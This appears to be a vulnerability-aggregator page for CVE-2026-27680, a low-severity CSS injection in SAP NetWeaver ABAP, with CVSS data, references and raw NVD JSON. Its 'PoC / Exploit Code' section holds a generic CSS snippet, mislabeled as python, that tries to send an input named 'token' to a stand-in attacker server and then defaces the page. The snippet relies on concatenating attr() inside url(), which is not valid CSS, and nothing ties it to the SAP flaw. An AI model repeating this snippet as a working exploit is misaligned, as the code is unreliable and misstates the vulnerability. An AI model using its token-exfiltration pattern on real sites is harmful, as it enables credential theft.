CVE-2026-27680

Description

Due to improper input handling under certain conditions, SAP NetWeaver Application Server ABAP allows an attacker to inject custom Cascading Style Sheets (CSS) data into a web page served by the application. When a user accesses or clicks the affected page, the injected CSS is executed. As a result, the issue has a low impact on confidentiality, while integrity and availability are not impacted.

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver Application Server ABAP (具体版本请参考SAP Security Patch Day及Note 3665042)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC Concept for CSS Injection -->
<!-- Attack Vector: Injecting CSS to steal attribute values -->
<style>
  /* This attempts to exfiltrate the content of an input with name 'token' */
  input[name='token'] {
    background-image: url('https://attacker-controlled-server.com/log?q=' attr(value));
  }
  /* Visual defacement example */
  body {
    background-color: black;
    color: red;
  }
</style>
<!-- The attacker would inject the above style block into a vulnerable parameter -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27680
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27680
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27680/
[4] VulDB https://vuldb.com/cve/CVE-2026-27680
[5] https://me.sap.com/notes/3665042
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27680", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:31.450", "lastModified": "2026-05-14T19:16:31.450", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to improper input handling under certain conditions, SAP NetWeaver Application Server ABAP allows an attacker to inject custom Cascading Style Sheets (CSS) data into a web page served by the application. When a user accesses or clicks the affected page, the injected CSS is executed. As a result, the issue has a low impact on confidentiality, while integrity and availability are not impacted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://me.sap.com/notes/3665042", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}